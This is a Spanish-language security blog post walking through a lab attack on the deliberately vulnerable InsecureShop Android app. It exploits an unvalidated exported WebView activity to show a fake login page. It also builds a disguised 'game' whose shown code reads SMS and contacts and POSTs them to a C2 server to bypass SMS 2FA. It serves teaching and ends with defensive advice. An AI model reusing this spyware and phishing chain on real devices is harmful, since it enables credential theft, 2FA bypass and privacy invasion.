App maliciosa Android: phishing con Intents y WebViews

Buenas a todos y bienvenidos a un nuevo artículo. Hoy vamos a ver el proyecto en el que he estado trabajando este último domingo, muy relacionado con el último artículo sobre hacking de aplicaciones móviles que publiqué. En esta ocasión, veremos cómo una vulnerabilidad que, a priori, puede parecer de baja criticidad, puede utilizarse como parte de una cadena de ataque mucho más amplia, llegando a facilitar el robo de credenciales y el acceso a información sensible como SMS o contactos, que podrían utilizarse en posteriores ataques de phishing.

Para ello, utilizaremos InsecureShop, una aplicación Android que simula una tienda online y que ha sido desarrollada intencionadamente con distintas vulnerabilidades de seguridad. En concreto, mediante análisis estático identificaremos una vulnerabilidad que permite a otra aplicación instalada en el mismo dispositivo enviar un Intent y provocar que InsecureShop cargue una URL arbitraria en su WebView.

A partir de aquí, desarrollaremos nuestra propia aplicación Android, que aparentemente consiste en un simple juego, pero que por debajo solicita permisos para acceder a los SMS y contactos del dispositivo. Además, aprovecharemos la vulnerabilidad identificada para cargar una página de inicio de sesión controlada por nosotros dentro de InsecureShop, intentando que el usuario introduzca sus credenciales. También veremos cómo, una vez instalada nuestra aplicación y concedidos determinados permisos, esta puede acceder a información sensible del dispositivo que podría resultar útil en posteriores fases de un ataque.

Para dar un poco más de juego al escenario, vamos a hacer algunas suposiciones. Por un lado, supondremos que InsecureShop es una aplicación utilizada habitualmente por los usuarios para realizar compras y consultar sus pedidos (nuestro Amazon en la vida real), y que dispone también de un portal web que nosotros intentaremos suplantar. Además, supondremos que utiliza un sistema de autenticación en dos factores (2FA) basado en SMS. Esto nos permitirá analizar cómo una aplicación con permisos de lectura de SMS podría poner en riesgo este segundo factor, combinándolo con el robo de credenciales. Todo ello lo reproduciremos en nuestro laboratorio utilizando usuarios y datos ficticios.

Espero que os resulte entretenido.

Análisis estático de InsecureShop

Para ponernos en la piel de un ciberdelincuente, supongamos que InsecureShop es una aplicación que cuenta con millones de usuarios activos. Una vulnerabilidad de seguridad en una aplicación utilizada por millones de personas puede tener un potencial enorme para un atacante. Por ello, vamos a realizar un ejercicio de pentesting sobre InsecureShop y, como siempre en pentesting de aplicaciones móviles, empezaremos con un análisis estático.

Lo primero que analizaremos será el archivo AndroidManifest.xml, con el objetivo de identificar actividades exportadas que puedan ser accesibles desde otras aplicaciones, localizar posibles Content Providers o Broadcast Receivers que podamos aprovechar, comprobar si existen configuraciones inseguras como android:debuggable="true", etc.

En este caso, encontramos varias actividades, pero hay una en concreto que nos llama la atención: WebView2Activity.

<activity android:name="com.insecureshop.WebView2Activity">
    <intent-filter>
        <action android:name="com.insecureshop.action.WEBVIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>

Como podemos observar, esta actividad declara un intent-filter con la acción com.insecureshop.action.WEBVIEW. Aunque el exported=True no se declare explícitamente en la versión con la que está configurada esta aplicación, si se declara un intent-filter por defecto la actividad es exportable..

Hasta aquí, esto no tiene por qué suponer una vulnerabilidad, ya que es habitual que las aplicaciones expongan determinados componentes para permitir la interacción con otras aplicaciones. Pero, debemos tener en cuenta que esto amplía la superficie de ataque, ya que cualquier aplicación instalada en el dispositivo puede intentar iniciar esta actividad y proporcionarle datos. Estos datos, vienen de fuera, no son de confianza, así que si no se validan correctamente antes de procesarlos, puede dar lugar a vulnerabilidades graves que los atacantes aprovecharán.

Vamos a ver el código de WebView2Activity para entender qué hace con los Intents que recibe y si hay alguna vulnerabilidad de la que nos podamos beneficiar.

String dataString = intent.getDataString();

if (!(dataString == null || StringsKt.isBlank(dataString))) {
    webview.loadUrl(intent.getDataString()); //PELIGRO
    return;
}

//... Codigo que no interesa ahora mismo

Bundle extras = intent5.getExtras();
String string = extras != null
        ? extras.getString("url")
        : null;

if (string != null && string.length() != 0) {
    z = false;
}

if (!z) {
    webview.loadUrl( //PELIGRO
        extras2 != null
            ? extras2.getString("url")
            : null
    );
}

Si ahora analizamos el código de esta actividad, vemos que lo que hace es recibir el Intent y comprobar si contiene una URL, ya sea directamente en sus datos o mediante un Extra llamado url. Si este valor no está vacío, llama al método webview.loadUrl() para cargar la página web.

¿Cuál es el problema? Que está cargando una URL sin comprobar previamente si el dominio es legítimo, si pertenece a InsecureShop o si está entre los dominios permitidos.

Y recordemos que esta actividad está exportada, por lo que cualquier otra aplicación instalada en el dispositivo puede enviarle un Intent con una URL y conseguir que InsecureShop la cargue y la muestre al usuario desde su propia aplicación.

Ahora imaginemos que somos usuarios de InsecureShop y la utilizamos habitualmente para realizar compras. De repente, la aplicación nos muestra una pantalla de inicio de sesión y nos pide que introduzcamos nuestro usuario y contraseña. ¿No los introduciríamos? Al fin y al cabo, es la propia aplicación la que nos está pidiendo que iniciemos sesión.

Pero ¿y si esa página de inicio de sesión no fuera realmente de InsecureShop, sino una web controlada por un atacante? Pues estaríamos introduciendo nuestras credenciales directamente en una página controlada por él, sin ser conscientes de ello.

Y esto es precisamente lo que vamos a intentar reproducir en nuestro laboratorio.

El juego… que no es un juego

Hoy en día, descargarse una aplicación es lo más normal del mundo. Juegos para pasar el rato, aplicaciones de mensajería, etc. En la gran mayoría de los casos, estas aplicaciones serán perfectamente legítimas y no nos causarán ningún problema, pero también cabe la posibilidad de que nos descarguemos una aplicación maliciosa que, a priori, parezca inofensiva.

Para ello, vamos a crear un juego muy sencillo (el objetivo aquí no es aprender a desarrollar aplicaciones para Android), que permita al usuario echarse unas partidas, pero que internamente aproveche la vulnerabilidad que hemos visto antes.

Esta aplicación, además de funcionar como un juego, incorpora funcionalidades que nada tienen que ver con él. Por un lado, comprueba si InsecureShop está instalada en el dispositivo para poder aprovechar la vulnerabilidad que hemos identificado anteriormente. Por otro, solicita permisos de lectura de SMS y acceso a los contactos.

Aquí ya debería saltarnos una alarma… ¿Por qué un juego necesita leer nuestros SMS y contactos?

A priori, es un juego muy chorra para pasar el rato, pero vamos a ver lo que hace por debajo. Por un lado, si revisamos el archivo AndroidManifest.xml, podemos ver que nuestra aplicación solicita los permisos READ_SMS y READ_CONTACTS, que le permiten leer los SMS y acceder a los contactos almacenados en el dispositivo, siempre que el usuario los conceda. Además, también solicita el permiso INTERNET, que le permite comunicarse con servidores externos.

<uses-permission
        android:name="android.permission.READ_SMS" />

    <uses-permission
        android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.INTERNET" />

Aquí ya debería saltarnos una alarma… ¿Para qué necesita un juego acceder a nuestros SMS y contactos? Realmente, para nada. Pero si el usuario acepta estos permisos, la aplicación tendrá acceso a esta información, aunque no tenga ninguna relación con el funcionamiento del juego. Y esto no es lo único que hace nuestra aplicación. Si seguimos revisando el código, vemos que también incorpora una función que comprueba si InsecureShop está instalada en el dispositivo.

String packageName = "com.insecureshop";

            try {
                getContext().getPackageManager()
                        .getPackageInfo(packageName, 0);

            } catch (PackageManager.NameNotFoundException e) {
              
                return;
            }

Si lo encuentra, puede construir un Intent dirigido a la actividad WebView2Activity de InsecureShop, aprovechando la vulnerabilidad que hemos identificado anteriormente.

Para ello, utiliza la acción com.insecureshop.action.WEBVIEW y añade un Extra llamado url, donde indicamos la dirección de nuestro servidor, que contiene la página de inicio de sesión que hemos preparado y que suplanta la página de login original de InsecureShop

Intent intent = new Intent(
        "com.insecureshop.action.WEBVIEW"
);

intent.setClassName(
        packageName,
        "com.insecureshop.WebView2Activity"
);

intent.putExtra(
        "url",
        "http://10.0.2.2:3000/"
);

Otra parte importante del código, es que podemos ver que el juego se conecta remotamente a un servidor externo y si tiene permiso de lectura de los SMS y los contactos, los envía regularmente a dicho servidor

// Lectura real de SMS del dispositivo (últimos 5 para poque es una PoC
JSONArray sms = new JSONArray();
try (Cursor cursor = getContentResolver().query(
        Sms.Inbox.CONTENT_URI, ...)) {
    while (cursor.moveToNext() && count < 5) {
        sms.put(new JSONObject()
            .put("sender", cursor.getString(0))
            .put("message", cursor.getString(1)));
    }
}

JSONArray contacts = new JSONArray();
try (Cursor cursor = getContentResolver().query(
        Phone.CONTENT_URI, ...)) {
    while (cursor.moveToNext() && count < 5) {
        contacts.put(new JSONObject()
            .put("name", cursor.getString(0))
            .put("phone", cursor.getString(1)));
    }
}

// Envío al C2
JSONObject payload = new JSONObject();
payload.put("lab", true);
payload.put("source", "NEON TAP");
payload.put("sms", sms);
payload.put("contacts", contacts);

HttpURLConnection conn = (HttpURLConnection) new URL(ENDPOINT).openConnection();
conn.setRequestMethod("POST");
conn.getOutputStream().write(payload.toString().getBytes(UTF_8));

Por tanto, vemos que nuestro «juego» puede leer los SMS del usuario, acceder a sus contactos y, en un momento determinado, detectar si InsecureShop está instalada en el dispositivo. Si es así, puede lanzar un Intent para que sea la propia aplicación de InsecureShop la que cargue nuestra página web y se la muestre al usuario.

En este caso, la página web que cargaremos será un login falso que simula el portal web de InsecureShop. Por tanto, nuestro «juego» está utilizando la propia aplicación de InsecureShop para mostrar una página de inicio de sesión falsa a usuarios legítimos e intentar robar sus credenciales.

Pero esto no acaba aquí. Recordemos que nuestro juego también tiene permisos para leer los SMS del dispositivo y puede comunicarse con un servidor externo. Por tanto, como atacante, una vez he robado las credenciales del usuario, puedo utilizarlas para intentar acceder a la aplicación legítima de InsecureShop. Y cuando esta me solicite el código de verificación por SMS, como nuestro «juego» está enviando los mensajes al servidor del atacante, podré obtener dicho código y utilizarlo para superar el segundo factor de autenticación (2FA).

El Ataque

Para simular el ataque, hemos montado un pequeño servidor web con Node.js y Express, donde hemos creado un formulario de inicio de sesión que simula ser el portal web de InsecureShop. Para no alargar el artículo más de lo necesario, no vamos a entrar en cómo hemos desarrollado el servidor ni el formulario. Pero básicamente, se ha hecho con Node.js con Express, definido cuatro rutas para gestionar las distintas peticiones y un HTML con un poco de CSS para simular la pantalla de inicio de sesión.

En un momento determinado, nuestro juego detectará que insecureShop está instalado y lanzará el Intent para que esta cargue y muestre el login malicioso que hemos hecho.

Una vez el usuario introduce sus credenciales, estas llegan directamente al servidor del atacante, como podemos ver en la siguiente captura.

Con esto, hemos conseguido aprovechar la vulnerabilidad de InsecureShop para que sea la propia aplicación la que muestre al usuario una página maliciosa que hemos diseñado para simular su portal de inicio de sesión. ¡Y todo ello desde un juego inofensivo 😉 !

Ahora, en el escenario que hemos planteado, vemos también cómo la aplicación va exfiltrando a intervalos regulares los datos de contactos y SMS al servidor del atacante. Por tanto, podemos aprovechar las credenciales que hemos recibido para acceder a la web legítima de InsecureShop y, si esta nos pide una verificación OTP, conseguirla, ya que tenemos acceso casi en tiempo real a los SMS.

Lectura de SMS y contactos desde una aplicación Android en el laboratorio de seguridad.

Conclusiones

En este artículo hemos visto cómo una vulnerabilidad que, a priori, puede parecer poco importante, puede terminar teniendo un impacto mucho mayor si se combina con otras técnicas de ataque.

Para ello, hemos desarrollado nuestra propia aplicación Android, que aparentemente era un simple juego, pero que también podía aprovechar una vulnerabilidad de InsecureShop y acceder a información sensible del dispositivo.

De este laboratorio podemos sacar varias conclusiones. Por un lado, como usuarios, debemos prestar atención a los permisos que concedemos a las aplicaciones. ¿Por qué un juego necesita acceder a nuestros SMS y contactos?

Por otro lado, desde el punto de vista del desarrollo, hemos visto la importancia de validar los datos que recibimos de otras aplicaciones, especialmente cuando tenemos componentes exportados. En nuestro caso, validar las URL antes de cargarlas en la WebView habría evitado la vulnerabilidad.

Debemos tener en cuenta que los sistemas de autenticación en dos factores basados en SMS no están exentos de riesgos, ya que si una aplicación maliciosa consigue acceder a nuestros mensajes, también podría obtener los códigos de verificación. Por ello, siempre que sea posible, es recomendable utilizar otros métodos de autenticación, como aplicaciones de autenticación o, mejor aún, passkeys, que ofrecen mayor protección frente al phishing.

Espero que os haya resultado interesante y nos vemos en el próximo artículo.

Mateu Joan Perelló
Resumen de privacidad

Esta web utiliza cookies para que podamos ofrecerte la mejor experiencia de usuario posible. La información de las cookies se almacena en tu navegador y realiza funciones tales como reconocerte cuando vuelves a nuestra web o ayudar a nuestro equipo a comprender qué secciones de la web encuentras más interesantes y útiles.